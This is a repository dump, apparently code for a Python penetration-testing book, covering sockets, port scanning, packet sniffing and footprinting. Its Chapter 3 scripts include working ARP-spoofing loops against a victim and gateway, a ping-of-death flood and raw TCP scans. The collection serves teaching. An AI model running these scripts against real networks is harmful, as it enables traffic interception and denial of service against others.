├── Chapter01 └── first chapter _programs │ ├── clientside │ ├── client1.py │ ├── client3.py.py │ └── udp2.py │ ├── connect_ex.py │ ├── getadd1.py │ ├── ips │ ├── server1.py │ ├── server2.py │ ├── server3.py │ ├── udp1.py │ ├── udptime1.py │ └── udptime2.py ├── Chapter02 ├── .idea │ ├── Chapter 2.iml │ ├── inspectionProfiles │ │ └── Project_Default.xml │ ├── misc.xml │ ├── modules.xml │ └── workspace.xml ├── Chapter2_scanning.zip └── Chapter2_scanning │ └── Chapter2_scanning │ ├── figures │ ├── ipscanner_linux.JPG │ ├── nmap_android.JPG │ ├── nmap_linux.JPG │ ├── nmap_windows.JPG │ └── port.png │ └── programs_2nd_chapter │ ├── OS_detection.py │ ├── creatdicnew.py │ ├── ips.py │ ├── iptcpscan.py │ ├── iptcpscan_t.py │ ├── iptcpscan_t_l.py │ ├── mohit.raj │ ├── mohit.raj_ │ ├── nmap_python1.py │ ├── ping_sweep.py │ ├── ping_sweep_send_rec.py │ ├── ping_sweep_th.py │ ├── ping_sweep_th_l.py │ ├── port.txt │ ├── port_description.dat │ └── port_scanner15.py ├── Chapter03 ├── .idea │ ├── Chapter 3.iml │ ├── inspectionProfiles │ │ └── Project_Default.xml │ ├── misc.xml │ ├── modules.xml │ └── workspace.xml ├── Chapter3_sniifing.zip └── Chapter3_sniifing │ └── Chapter3_sniifing │ ├── .idea │ ├── Chapter3_sniifing.iml │ ├── misc.xml │ ├── modules.xml │ └── workspace.xml │ └── Chapter_3_programs │ ├── ack.py │ ├── arpsp.py │ ├── arpspex.py │ ├── client side │ └── unstruc.py │ ├── eth.py │ ├── fin.py │ ├── halfopen.py │ ├── netdiss.py │ ├── pingofd.py │ ├── sniffer1.py │ ├── sniffer_new.py │ ├── sniffer_ttl.py │ ├── str1.py │ └── struct1.py ├── Chapter04 └── Chapter4_network_attack_preventation.zip ├── Chapter05 └── wireless_chapter5.zip ├── Chapter06 └── chapter_6_honeypot_program.zip ├── Chapter07 └── foot-printing_programs │ └── foot-printing_programs │ ├── banner.py │ ├── div1.py │ ├── email_finder.py │ ├── header.py │ ├── info.py │ ├── par3.py │ ├── result.txt │ ├── whois.py │ └── whois5.py ├── Chapter08 └── Programs_client_Side │ └── Programs_client_Side │ ├── DDOS_detect1.py │ ├── index.php │ ├── mimp.py │ ├── parameter temp.py │ ├── simp.py │ └── sisp.py ├── Chapter09 └── programs_pentest_SQL.zip ├── LICENSE └── README.md /Chapter01/first chapter _programs/clientside/client1.py: -------------------------------------------------------------------------------- 1 | import socket 2 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 3 | host = "192.168.5.6" 4 | port = 5610 5 | s.connect((host,port)) 6 | #print s.recv(1024) 7 | 8 | s.send("Hello Server") 9 | s.close() 10 | -------------------------------------------------------------------------------- /Chapter01/first chapter _programs/clientside/client3.py.py: -------------------------------------------------------------------------------- 1 | import socket 2 | host = "192.168.5.6" 3 | port = 5610 4 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 5 | s.connect((host, port)) 6 | buf = bytearray("-" * 30) # buffer created 7 | print "Number of Bytes ",s.recv_into(buf) 8 | print buf 9 | s.close 10 | -------------------------------------------------------------------------------- /Chapter01/first chapter _programs/clientside/udp2.py: -------------------------------------------------------------------------------- 1 | import socket 2 | host = "192.168.5.6" 3 | port = 5610 4 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 5 | print s.sendto("hello all",(host,port)) 6 | s.close() 7 | -------------------------------------------------------------------------------- /Chapter01/first chapter _programs/connect_ex.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | rmip =raw_input("192.168.5.6") 4 | 5 | st1= raw_input("Enter first port ") 6 | en1 = raw_input("Enter last port ") 7 | 8 | 9 | 10 | for port in xrange(st1, en1) 11 | sock= socket.socket(socket.AF_INET,socket.SOCK_STREAM) 12 | 13 | result = sock.connect_ex((rmip,port)) 14 | sock.setdefaulttimeout(1) 15 | if result == 0: 16 | print port, "--> Open" 17 | sock.close() 18 | 19 | -------------------------------------------------------------------------------- /Chapter01/first chapter _programs/getadd1.py: -------------------------------------------------------------------------------- 1 | import socket 2 | def get_protnumber(prefix): 3 | return dict( (getattr(socket, a), a) 4 | for a in dir(socket) 5 | if a.startswith(prefix)) 6 | 7 | proto_fam = get_protnumber('AF_') 8 | types = get_protnumber('SOCK_') 9 | protocols = get_protnumber('IPPROTO_') 10 | 11 | for res in socket.getaddrinfo('www.thapar.edu', 'http'): 12 | 13 | family, socktype, proto, canonname, sockaddr = res 14 | 15 | print 'Family :', proto_fam[family] 16 | print 'Type :', types[socktype] 17 | print 'Protocol :', protocols[proto] 18 | print 'Canonical name:', canonname 19 | print 'Socket address:', sockaddr 20 | -------------------------------------------------------------------------------- /Chapter01/first chapter _programs/ips: -------------------------------------------------------------------------------- 1 | import os 2 | response = os.popen('ping -n 1 192.168.5.6') 3 | for line in response.readlines(): 4 | print line, 5 | -------------------------------------------------------------------------------- /Chapter01/first chapter _programs/server1.py: -------------------------------------------------------------------------------- 1 | import socket 2 | host = "192.168.5.6" #Server address 3 | port = 5610 #Port of Server 4 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 5 | s.bind((host,port)) #bind server 6 | s.listen(2) 7 | conn, addr = s.accept() 8 | print addr, "Now Connected" 9 | conn.send("Thank you for connecting") 10 | conn.close() 11 | -------------------------------------------------------------------------------- /Chapter01/first chapter _programs/server2.py: -------------------------------------------------------------------------------- 1 | import socket 2 | host = "192.168.1.46" 3 | port = 4444 4 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 5 | s.bind((host,port)) 6 | s.listen(2) 7 | while True: 8 | conn, addr = s.accept() 9 | print addr, "Now Connected" 10 | msz = raw_input("Enter the message ") 11 | conn.send(msz) 12 | print conn.recv(1024) 13 | conn.close() 14 | -------------------------------------------------------------------------------- /Chapter01/first chapter _programs/server3.py: -------------------------------------------------------------------------------- 1 | import socket 2 | host = "192.168.5.6" 3 | port = 5610 4 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 5 | s.bind((host, port)) 6 | s.listen(1) 7 | conn, addr = s.accept() 8 | print "connected by", addr 9 | conn.send("Thanks") 10 | conn.close() 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /Chapter01/first chapter _programs/udp1.py: -------------------------------------------------------------------------------- 1 | import socket 2 | host = "192.168.5.6" 3 | port = 5610 4 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 5 | s.bind((host,port)) 6 | data, addr = s.recvfrom(1024) 7 | print "recevied from ",addr 8 | print "obtained ", data 9 | s.close() 10 | -------------------------------------------------------------------------------- /Chapter01/first chapter _programs/udptime1.py: -------------------------------------------------------------------------------- 1 | import socket 2 | host = "192.168.5.6" 3 | port = 5610 4 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 5 | s.bind((host,port)) 6 | s.settimeout(5) 7 | data, addr = s.recvfrom(1024) 8 | print "recevied from ",addr 9 | print "obtained ", data 10 | s.close() 11 | -------------------------------------------------------------------------------- /Chapter01/first chapter _programs/udptime2.py: -------------------------------------------------------------------------------- 1 | import socket 2 | host = "192.168.5.6" 3 | port = 5610 4 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 5 | try: 6 | 7 | s.bind((host,port)) 8 | s.settimeout(5) 9 | data, addr = s.recvfrom(1024) 10 | print "recevied from ",addr 11 | print "obtained ", data 12 | s.close() 13 | 14 | except socket.timeout : 15 | print "Client not connected" 16 | s.close() 17 | -------------------------------------------------------------------------------- /Chapter02/.idea/Chapter 2.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 11 | -------------------------------------------------------------------------------- /Chapter02/.idea/inspectionProfiles/Project_Default.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 13 | -------------------------------------------------------------------------------- /Chapter02/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /Chapter02/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /Chapter02/.idea/workspace.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 47 | 48 | 49 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 167 | 168 | 169 | 170 | 171 | 187 | 188 | 189 | 205 | 206 | 207 | 223 | 224 | 225 | 241 | 242 | 243 | 259 | 260 | 261 | 262 | 263 | 264 | 265 | 266 | 267 | 268 | 269 | 270 | 271 | 272 | 273 | 274 | 275 | 276 | 277 | 278 | 279 | 280 | 281 | 282 | 283 | 284 | 285 | 286 | 287 | 288 | 289 | 290 | 291 | 292 | 293 | 294 | 295 | 296 | 297 | 298 | 299 | 300 | 302 | 303 | 304 | 306 | 307 | 308 | 309 | 310 | 311 | 312 | 313 | 314 | 315 | 316 | 317 | 318 | 319 | 320 | 321 | 322 | 323 | 324 | 325 | 326 | 327 | 328 | 329 | 330 | 331 | 332 | 333 | 334 | 335 | 336 | 337 | 338 | 339 | 340 | 341 | 342 | 343 | 344 | 345 | 346 | 347 | 348 | 349 | 350 | 351 | 352 | 353 | 354 | 355 | 356 | 357 | 358 | 359 | 360 | 361 | 362 | 363 | 364 | 365 | 366 | 367 | 368 | 369 | 370 | 371 | 372 | 373 | 374 | 375 | 376 | 377 | 378 | 379 | 380 | 381 | 382 | 383 | 384 | 385 | 386 | 387 | 388 | 389 | 390 | 391 | 392 | 393 | 394 | 395 | 396 | 397 | 398 | 399 | 400 | 401 | 402 | 403 | 404 | 405 | 406 | 407 | 408 | 409 | 410 | 411 | 412 | 413 | 414 | 415 | 416 | 417 | 418 | 419 | 420 | 421 | 422 | 423 | 424 | 425 | 426 | 427 | 428 | 429 | -------------------------------------------------------------------------------- /Chapter03/Chapter3_sniifing.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-Essentials-Second-Edition/f2a666b62826b4adc334a8e69ccbfe20b5cf12c2/Chapter03/Chapter3_sniifing.zip -------------------------------------------------------------------------------- /Chapter03/Chapter3_sniifing/Chapter3_sniifing/.idea/Chapter3_sniifing.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 12 | -------------------------------------------------------------------------------- /Chapter03/Chapter3_sniifing/Chapter3_sniifing/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /Chapter03/Chapter3_sniifing/Chapter3_sniifing/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /Chapter03/Chapter3_sniifing/Chapter3_sniifing/.idea/workspace.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 14 | 15 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 68 | 69 | 70 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 107 | 108 | 109 | 110 | 113 | 114 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 144 | 145 | 156 | 157 | 175 | 176 | 194 | 195 | 215 | 216 | 237 | 238 | 261 | 262 | 263 | 265 | 266 | 267 | 268 | 1521693668449 269 | 273 | 274 | 275 | 276 | 277 | 278 | 279 | 280 | 281 | 282 | 283 | 284 | 285 | 286 | 287 | 288 | 289 | 290 | 291 | 292 | 293 | 294 | 295 | 296 | 297 | 298 | 299 | 302 | 305 | 306 | 307 | 309 | 310 | 311 | 312 | 313 | 314 | 315 | 316 | 317 | 318 | 319 | 320 | 321 | 322 | 323 | 324 | 325 | 326 | 327 | 328 | 329 | 330 | 331 | 332 | 333 | 334 | 335 | 336 | 337 | 338 | 339 | 340 | 341 | 342 | 343 | 344 | 345 | 346 | 347 | 348 | 349 | 350 | 351 | 352 | 353 | 354 | 355 | 356 | 357 | 358 | 359 | 360 | 361 | 362 | 363 | 364 | 365 | 366 | 367 | 368 | 369 | 370 | 371 | 372 | 373 | 374 | 375 | 376 | 377 | 378 | 379 | 380 | 381 | 382 | 383 | 384 | 385 | 386 | -------------------------------------------------------------------------------- /Chapter03/Chapter3_sniifing/Chapter3_sniifing/Chapter_3_programs/ack.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | ip1 = IP(src="192.168.0.10", dst ="192.168.0.11") 3 | sy1 = TCP(sport =1024, dport=137, flags="A", seq=12345) 4 | packet = ip1/sy1 5 | p =sr1(packet) 6 | p.show() 7 | -------------------------------------------------------------------------------- /Chapter03/Chapter3_sniifing/Chapter3_sniifing/Chapter_3_programs/arpsp.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import struct 3 | import binascii 4 | s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800)) 5 | s.bind(("eth0",socket.htons(0x0800))) 6 | 7 | sor = '\x00\x0c\x29\x4f\x8e\x35' 8 | 9 | victmac ='\x00\x0C\x29\x2E\x84\x7A' 10 | 11 | gatemac = '\x00\x50\x56\xC0\x00\x08' 12 | code ='\x08\x06' 13 | eth1 = victmac+sor+code #for victim 14 | eth2 = gatemac+sor+code # for gateway 15 | 16 | htype = '\x00\x01' 17 | protype = '\x08\x00' 18 | hsize = '\x06' 19 | psize = '\x04' 20 | opcode = '\x00\x02' 21 | 22 | gate_ip = '192.168.0.1' 23 | victim_ip = '192.168.0.11' 24 | gip = socket.inet_aton ( gate_ip ) # to convert the ip into hexadecimal formate 25 | vip = socket.inet_aton ( victim_ip ) # to convert the ip into hexadecimal formate 26 | 27 | arp_victim = eth1+htype+protype+hsize+psize+opcode+sor+gip+victmac+vip 28 | arp_gateway= eth2+htype+protype+hsize+psize+opcode+sor+vip+gatemac+gip 29 | 30 | 31 | while 1: 32 | s.send(arp_victim) 33 | s.send(arp_gateway) 34 | 35 | 36 | -------------------------------------------------------------------------------- /Chapter03/Chapter3_sniifing/Chapter3_sniifing/Chapter_3_programs/arpspex.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import struct 3 | import binascii 4 | s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800)) 5 | s.bind(("eth0",socket.htons(0x0800))) 6 | 7 | sor = '\x00\x0c\x29\x4f\x8e\x35' 8 | 9 | victmac ='\x88\x53\x2e\x0a\x75\x3f' 10 | 11 | gatemac = '\x84\x1b\x5e\x50\xc8\x6e' 12 | code ='\x08\x06' 13 | eth1 = victmac+sor+code #for victim 14 | eth2 = gatemac+sor+code # for gateway 15 | 16 | htype = '\x00\x01' 17 | protype = '\x08\x00' 18 | hsize = '\x06' 19 | psize = '\x04' 20 | opcode = '\x00\x02' 21 | 22 | gate_ip = '10.0.0.1' 23 | victim_ip = '10.0.0.6' 24 | gip = socket.inet_aton ( gate_ip ) 25 | vip = socket.inet_aton ( victim_ip ) 26 | 27 | arp_victim = eth1+htype+protype+hsize+psize+opcode+sor+gip+victmac+vip 28 | arp_gateway= eth2+htype+protype+hsize+psize+opcode+sor+vip+gatemac+gip 29 | 30 | 31 | while 1: 32 | s.send(arp_victim) 33 | s.send(arp_gateway) 34 | 35 | 36 | -------------------------------------------------------------------------------- /Chapter03/Chapter3_sniifing/Chapter3_sniifing/Chapter_3_programs/client side/unstruc.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import struct 3 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 4 | host = "192.168.5.6" 5 | port = 5610 6 | s.connect((host,port)) 7 | msg= s.recv(1024) 8 | print msg 9 | print struct.unpack('hhl',msg) 10 | s.close() 11 | -------------------------------------------------------------------------------- /Chapter03/Chapter3_sniifing/Chapter3_sniifing/Chapter_3_programs/eth.py: -------------------------------------------------------------------------------- 1 | import socket 2 | s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800)) 3 | s.bind(("eth0",socket.ntohs(0x0800))) 4 | 5 | sor = '\x00\x0c\x29\x4f\x8e\x35' 6 | 7 | des ='\x00\x0C\x29\x2E\x84\x7A' 8 | code ='\x08\x00' 9 | eth = des+sor+code 10 | s.send(eth) 11 | -------------------------------------------------------------------------------- /Chapter03/Chapter3_sniifing/Chapter3_sniifing/Chapter_3_programs/fin.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | ip1 = IP(src="192.168.0.10", dst ="192.168.0.11") 3 | sy1 = TCP(sport =1024, dport=80, flags="F", seq=12345) 4 | packet = ip1/sy1 5 | p =sr1(packet) 6 | p.show() 7 | -------------------------------------------------------------------------------- /Chapter03/Chapter3_sniifing/Chapter3_sniifing/Chapter_3_programs/halfopen.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | ip1 = IP(src="192.168.0.10", dst ="192.168.0.11" ) 3 | tcp1 = TCP(sport =1024, dport=80, flags="S", seq=12345) 4 | packet = ip1/tcp1 5 | p =sr1(packet, inter=1) 6 | p.show() 7 | 8 | rs1 = TCP(sport =1024, dport=80, flags="R", seq=12347) 9 | packet1=ip1/rs1 10 | p1 = sr1(packet1) 11 | p1.show 12 | 13 | -------------------------------------------------------------------------------- /Chapter03/Chapter3_sniifing/Chapter3_sniifing/Chapter_3_programs/netdiss.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import binascii 3 | s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0003)) 4 | s.bind(("eth0",socket.htons(0x0800))) 5 | 6 | def mach(mac): 7 | a = '\\x' 8 | mac1= mac.replace(':',a) 9 | mac2= a+mac1 10 | return mac2 11 | 12 | sor = '\x48\x41\x43\x4b\x45\x52' 13 | 14 | 15 | vic1 = raw_input("Enter the Victim MAC ") 16 | victmac = mach(vic1) 17 | print victmac 18 | 19 | gate1 = raw_input("Enter the gateway MAC ") 20 | gatemac = mach(gate1) 21 | print gatemac 22 | code ='\x08\x06' 23 | eth1 = victmac+sor+code #for victim 24 | eth2 = gatemac+sor+code # for gateway 25 | 26 | htype = '\x00\x01' 27 | protype = '\x08\x00' 28 | hsize = '\x06' 29 | psize = '\x04' 30 | opcode = '\x00\x02' 31 | 32 | 33 | gate_ip = '192.168.0.1' 34 | victim_ip = '192.168.0.11' 35 | gip = socket.inet_aton ( gate_ip ) 36 | 37 | vip = socket.inet_aton ( victim_ip ) 38 | 39 | 40 | arp_victim = eth1+htype+protype+hsize+psize+opcode+sor+gip+victmac+vip 41 | arp_gateway= eth2+htype+protype+hsize+psize+opcode+sor+vip+gatemac+gip 42 | 43 | 44 | while 1: 45 | s.send(arp_victim) 46 | s.send(arp_gateway) 47 | 48 | 49 | -------------------------------------------------------------------------------- /Chapter03/Chapter3_sniifing/Chapter3_sniifing/Chapter_3_programs/pingofd.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | ip1 = IP(src="192.168.0.99", dst ="192.168.0.11") 3 | 4 | packet = ip1/ICMP()/("m"*60000) 5 | send(packet) 6 | i=0 7 | while i<20 : 8 | send(packet) 9 | i = i+1 10 | -------------------------------------------------------------------------------- /Chapter03/Chapter3_sniifing/Chapter3_sniifing/Chapter_3_programs/sniffer1.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import struct 3 | import binascii 4 | s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8) 5 | while True: 6 | 7 | pkt = s.recvfrom(2048) 8 | ethhead = pkt[0][0:14] 9 | print pkt[0] 10 | eth = struct.unpack("!6s6s2s",ethhead) 11 | print "--------Ethernet Frame--------" 12 | print "desination mac",binascii.hexlify(eth[0]) 13 | print "Source mac",binascii.hexlify(eth[1]) 14 | binascii.hexlify(eth[2]) 15 | 16 | ipheader = pkt[0][14:34] 17 | ip_hdr = struct.unpack("!8sB3s4s4s",ipheader) 18 | print "-----------IP------------------" 19 | print "TTL :", ip_hdr[1] 20 | print "Source IP", socket.inet_ntoa(ip_hdr[3]) 21 | print "Destination IP", socket.inet_ntoa(ip_hdr[4]) 22 | print "---------TCP----------" 23 | tcpheader = pkt[0][34:54] 24 | #tcp_hdr = struct.unpack("!HH16s",tcpheader) 25 | tcp_hdr = struct.unpack("!HH9ss6s",tcpheader) 26 | print "Source Port ", tcp_hdr[0] 27 | print "Destination port ", tcp_hdr[1] 28 | print "Flag ",binascii.hexlify(tcp_hdr[3]) 29 | 30 | 31 | 32 | 33 | -------------------------------------------------------------------------------- /Chapter03/Chapter3_sniifing/Chapter3_sniifing/Chapter_3_programs/sniffer_new.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import struct 3 | import binascii 4 | s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8) 5 | while True: 6 | try: 7 | pkt = s.recvfrom(2048) 8 | ethhead = pkt[0][0:14] 9 | eth = struct.unpack("!6s6s2s",ethhead) 10 | print "*"*50 11 | print "--------Ethernet Frame--------" 12 | print "Source MAC --> Destination MAC" 13 | print binascii.hexlify(eth[1]),"-->",binascii.hexlify(eth[0]) 14 | print "-----------IP------------------" 15 | num=pkt[0][14].encode('hex') 16 | ip_length = (int(num)%10)*4 17 | ip_last_range = 14+ip_length 18 | ipheader = pkt[0][14:ip_last_range] 19 | ip_hdr = struct.unpack("!12s4s4s",ipheader) 20 | print "Source IP--> Destination IP" 21 | print socket.inet_ntoa(ip_hdr[1]),"-->", socket.inet_ntoa(ip_hdr[2]) 22 | print "---------TCP----------" 23 | tcpheader = pkt[0][ip_last_range:ip_last_range+20] 24 | 25 | tcp_hdr = struct.unpack("!HH9sB6s",tcpheader) 26 | print "Source Port--> Destination Port" 27 | print tcp_hdr[0],"-->", tcp_hdr[1] 28 | flag1 =tcp_hdr[3] 29 | print flag1 30 | str1 = bin(flag1)[2:].zfill(8) 31 | flag1 = '' 32 | if str1[0]== '1': 33 | flag1 = flag1+"CWR " 34 | if str1[1] == '1': 35 | flag1 = flag1+ "ECN Echo " 36 | if str1[2] == '1': 37 | flag1 = flag1 + "Urgent " 38 | if str1[3]== '1': 39 | flag1 = flag1+ "Ack " 40 | 41 | if str1[4]== '1': 42 | flag1 = flag1+"Push " 43 | if str1[5] == '1': 44 | flag1 = flag1+ "Reset " 45 | if str1[6] == '1': 46 | flag1 = flag1 + "Sync " 47 | if str1[7]== '1': 48 | flag1 = flag1+ "Fin " 49 | 50 | print "Flag", flag1 51 | except Exception as e : 52 | print e 53 | 54 | 55 | 56 | 57 | -------------------------------------------------------------------------------- /Chapter03/Chapter3_sniifing/Chapter3_sniifing/Chapter_3_programs/sniffer_ttl.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import struct 3 | import binascii 4 | s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8) 5 | while True: 6 | try: 7 | pkt = s.recvfrom(2048) 8 | ethhead = pkt[0][0:14] 9 | eth = struct.unpack("!6s6s2s",ethhead) 10 | print "*"*50 11 | print "--------Ethernet Frame--------" 12 | print "Source MAC --> Destination MAC" 13 | print binascii.hexlify(eth[1]),"-->",binascii.hexlify(eth[0]) 14 | print "-----------IP------------------" 15 | num=pkt[0][14].encode('hex') 16 | ip_length = (int(num)%10)*4 17 | ip_last_range = 14+ip_length 18 | ipheader = pkt[0][14:ip_last_range] 19 | ip_hdr = struct.unpack("!8sB3s4s4s",ipheader) 20 | print "Source IP--> Destination IP, " 21 | print socket.inet_ntoa(ip_hdr[3]),"-->", socket.inet_ntoa(ip_hdr[4]) 22 | print "TTL: ",ip_hdr[1] 23 | print "---------TCP----------" 24 | tcpheader = pkt[0][ip_last_range:ip_last_range+20] 25 | 26 | tcp_hdr = struct.unpack("!HH9sB6s",tcpheader) 27 | print "Source Port--> Destination Port" 28 | print tcp_hdr[0],"-->", tcp_hdr[1] 29 | flag1 =tcp_hdr[3] 30 | print flag1 31 | str1 = bin(flag1)[2:].zfill(8) 32 | flag1 = '' 33 | if str1[0]== '1': 34 | flag1 = flag1+"CWR " 35 | if str1[1] == '1': 36 | flag1 = flag1+ "ECN Echo " 37 | if str1[2] == '1': 38 | flag1 = flag1 + "Urgent " 39 | if str1[3]== '1': 40 | flag1 = flag1+ "Ack " 41 | 42 | if str1[4]== '1': 43 | flag1 = flag1+"Push " 44 | if str1[5] == '1': 45 | flag1 = flag1+ "Reset " 46 | if str1[6] == '1': 47 | flag1 = flag1 + "Sync " 48 | if str1[7]== '1': 49 | flag1 = flag1+ "Fin " 50 | 51 | print "Flag", flag1 52 | except Exception as e : 53 | print e 54 | 55 | 56 | 57 | 58 | -------------------------------------------------------------------------------- /Chapter03/Chapter3_sniifing/Chapter3_sniifing/Chapter_3_programs/str1.py: -------------------------------------------------------------------------------- 1 | import struct 2 | ms= struct.pack('hhl', 1, 2, 3) 3 | print (ms) 4 | k= struct.unpack('hhl',ms) 5 | print k 6 | -------------------------------------------------------------------------------- /Chapter03/Chapter3_sniifing/Chapter3_sniifing/Chapter_3_programs/struct1.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import struct 3 | host = "192.168.5.6" 4 | port = 5610 5 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 6 | s.bind((host, port)) 7 | s.listen(1) 8 | conn, addr = s.accept() 9 | print "connected by", addr 10 | msz= struct.pack('hhl', 1, 2, 3) 11 | conn.send(msz) 12 | conn.close() 13 | -------------------------------------------------------------------------------- /Chapter04/Chapter4_network_attack_preventation.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-Essentials-Second-Edition/f2a666b62826b4adc334a8e69ccbfe20b5cf12c2/Chapter04/Chapter4_network_attack_preventation.zip -------------------------------------------------------------------------------- /Chapter05/wireless_chapter5.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-Essentials-Second-Edition/f2a666b62826b4adc334a8e69ccbfe20b5cf12c2/Chapter05/wireless_chapter5.zip -------------------------------------------------------------------------------- /Chapter06/chapter_6_honeypot_program.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-Essentials-Second-Edition/f2a666b62826b4adc334a8e69ccbfe20b5cf12c2/Chapter06/chapter_6_honeypot_program.zip -------------------------------------------------------------------------------- /Chapter07/foot-printing_programs/foot-printing_programs/banner.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import struct 3 | import binascii 4 | s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800)) 5 | while True: 6 | 7 | pkt = s.recvfrom(2048) 8 | banner = pkt[0][54:533] 9 | print banner 10 | print "--"*40 11 | 12 | -------------------------------------------------------------------------------- /Chapter07/foot-printing_programs/foot-printing_programs/div1.py: -------------------------------------------------------------------------------- 1 | import urllib 2 | from bs4 import BeautifulSoup 3 | url = "https://www.hackthissite.org" 4 | ht= urllib.urlopen(url) 5 | html_page = ht.read() 6 | b_object = BeautifulSoup(html_page) 7 | data = b_object.find('div', id ='notice') 8 | print data -------------------------------------------------------------------------------- /Chapter07/foot-printing_programs/foot-printing_programs/email_finder.py: -------------------------------------------------------------------------------- 1 | import urllib 2 | import re 3 | from bs4 import BeautifulSoup 4 | url = raw_input("Enter the URL ") 5 | ht= urllib.urlopen(url) 6 | html_page = ht.read() 7 | email_pattern=re.compile(r'\b[\w.-]+?@\w+?\.\w+?\b') 8 | for match in re.findall(email_pattern,html_page ): 9 | print match 10 | 11 | -------------------------------------------------------------------------------- /Chapter07/foot-printing_programs/foot-printing_programs/header.py: -------------------------------------------------------------------------------- 1 | import urllib 2 | url1 = raw_input("Enter the URL ") 3 | http_r = urllib.urlopen(url1) 4 | if http_r.code == 200: 5 | print http_r.headers -------------------------------------------------------------------------------- /Chapter07/foot-printing_programs/foot-printing_programs/info.py: -------------------------------------------------------------------------------- 1 | import re 2 | import random 3 | import urllib 4 | url1 = raw_input("Enter the URL ") 5 | u = chr(random.randint(97,122)) 6 | url2 = url1+u 7 | http_r = urllib.urlopen(url2) 8 | http_r1 = urllib.urlopen(url2) 9 | http_r2 = urllib.urlopen(url2) 10 | flag =0 11 | i=0 12 | list1 = [] 13 | a_tag = "<*address>" 14 | file_text = open("result.txt",'a') 15 | 16 | while flag ==0: 17 | if http_r.code == 404: 18 | file_text.write("--------------") 19 | file_text.write(url1) 20 | file_text.write("--------------\n") 21 | file_text.write(http_r1.read()) 22 | for match in re.finditer(a_tag,http_r.read()): 23 | i=i+1 24 | s= match.start() 25 | e= match.end() 26 | list1.append(s) 27 | list1.append(e) 28 | if (i>0): 29 | print "Coding is not good" 30 | if len(list1)>0: 31 | a= list1[1] 32 | b= list1[2] 33 | print http_r2.read()[a:b] 34 | else: 35 | print "error handling seems ok" 36 | flag =1 37 | 38 | 39 